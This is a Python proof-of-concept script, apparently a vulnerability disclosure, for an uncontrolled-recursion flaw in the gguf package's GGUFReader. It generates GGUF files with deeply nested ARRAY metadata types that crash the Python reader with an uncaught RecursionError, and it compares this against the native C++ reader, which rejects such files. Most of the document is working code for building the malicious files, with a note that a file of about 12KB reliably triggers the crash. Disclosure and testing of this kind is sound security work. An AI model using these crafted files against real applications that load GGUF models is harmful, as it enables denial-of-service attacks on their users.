File size: 5,440 Bytes
27bfb5c | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 | #!/usr/bin/env python3
"""
PoC: GGUF Nested Array (ARRAY-of-ARRAY) Uncontrolled Recursion -> RecursionError DoS
Target: gguf (PyPI), gguf-py from ggml-org/llama.cpp
File: gguf/gguf_reader.py, GGUFReader._get_field_parts()
Root cause (CWE-674, Uncontrolled Recursion):
if gtype == GGUFValueType.ARRAY:
raw_itype = self._get(offs, np.uint32)
offs += int(raw_itype.nbytes)
alen = self._get(offs, np.uint64)
offs += int(alen.nbytes)
aparts = [raw_itype, alen]
data_idxs = []
for idx in range(alen[0]):
curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
...
When a KV metadata field has type ARRAY, the reader reads the array's
*element* type (`raw_itype`) and recurses into `_get_field_parts()` to
parse each element -- with NO check that `raw_itype` isn't itself ARRAY,
and no recursion depth limit. A GGUF file can therefore declare an array
whose element type is "array", whose element type is "array", ... nested
as deep as the file declares.
The reference C/C++ implementation in ggml-org/llama.cpp explicitly
rejects this: in `ggml/src/gguf.cpp`, the type-dispatch switch statement
has:
case GGUF_TYPE_ARRAY:
default:
{
GGML_LOG_ERROR("%s: key '%s' has invalid GGUF type %d\n", ...);
ok = false;
} break;
i.e. encountering ARRAY as an array's element type is treated as an
invalid/malformed file and rejected cleanly. The Python bindings have no
equivalent check.
Impact: nesting depth around Python's default recursion limit (~1000)
causes an uncaught `RecursionError` that propagates all the way out of
`GGUFReader.__init__()` -- there is no try/except anywhere in the
recursive call chain. Any application that calls `GGUFReader(path)`
without a specific `except RecursionError` handler (unusual -- most
code anticipates `ValueError`/`OSError` for file-parsing failures, not
`RecursionError`) crashes with an unhandled exception. A file of
roughly 12KB is enough to trigger this reliably.
This script:
1. Builds a small, valid GGUF file with a single KV field of type
ARRAY, nested N levels deep (each level's element type is again
ARRAY, with array length 1), bottoming out in a 1-element INT32
array.
2. Demonstrates that Python silently accepts shallow nesting (10,
100 levels) but raises an uncaught RecursionError at deeper
nesting (1000, 5000 levels).
3. If a compiled `llama-gguf` binary path is given, also demonstrates
that the native C++ reference implementation cleanly REJECTS even
a single level of nesting -- confirming this is a genuine parity
gap, not merely "the file is malformed and everyone rejects it
differently."
Requires: pip install gguf numpy
"""
import struct
import os
import subprocess
import sys
GGUF_MAGIC = 0x46554747
GGUFValueType_ARRAY = 9
GGUFValueType_INT32 = 5
def pack_str(s: str) -> bytes:
b = s.encode("utf-8")
return struct.pack("<Q", len(b)) + b
def build_nested_array_gguf(depth: int, path: str) -> int:
header = struct.pack("<I", GGUF_MAGIC)
header += struct.pack("<I", 3) # version
header += struct.pack("<Q", 0) # tensor_count
header += struct.pack("<Q", 1) # kv_count
kv = pack_str("nested")
kv += struct.pack("<I", GGUFValueType_ARRAY) # top-level type: ARRAY
for _ in range(depth):
kv += struct.pack("<I", GGUFValueType_ARRAY) # element type: ARRAY (nested!)
kv += struct.pack("<Q", 1) # array length: 1
# bottom out with a real 1-element INT32 array
kv += struct.pack("<I", GGUFValueType_INT32)
kv += struct.pack("<Q", 1)
kv += struct.pack("<i", 42)
data = header + kv
with open(path, "wb") as f:
f.write(data)
return len(data)
def test_python_reader(path: str, depth: int) -> None:
from gguf.gguf_reader import GGUFReader
try:
GGUFReader(path)
print(f" depth={depth}: accepted silently (no error)")
except RecursionError as e:
print(f" depth={depth}: RecursionError -- {e}")
except Exception as e:
print(f" depth={depth}: {type(e).__name__}: {e}")
def test_native_reader(binary: str, path: str) -> None:
r = subprocess.run([binary, path, "r"], capture_output=True, timeout=10)
stderr = r.stderr.decode(errors="replace")
if "invalid GGUF type" in stderr or "invalid GGUF type" in r.stdout.decode(errors="replace"):
print(" native C++ reader: cleanly REJECTED (invalid GGUF type)")
else:
print(f" native C++ reader: exit={r.returncode}, stderr tail: {stderr[-200:]}")
def main():
print("=== Building nested-array GGUF files at increasing depth ===\n")
for depth in (1, 10, 100, 1000, 5000):
path = f"poc_nested_array_depth_{depth}.gguf"
size = build_nested_array_gguf(depth, path)
print(f"depth={depth}: {size} bytes")
test_python_reader(path, depth)
if depth == 1 and len(sys.argv) > 1:
print()
test_native_reader(sys.argv[1], path)
print()
print(
"Depth 1000 (~12KB file) is enough to trigger an uncaught RecursionError\n"
"on Python's default recursion limit. The exception propagates all the way\n"
"out of GGUFReader.__init__() with no handling anywhere in the library."
)
if __name__ == "__main__":
main()
|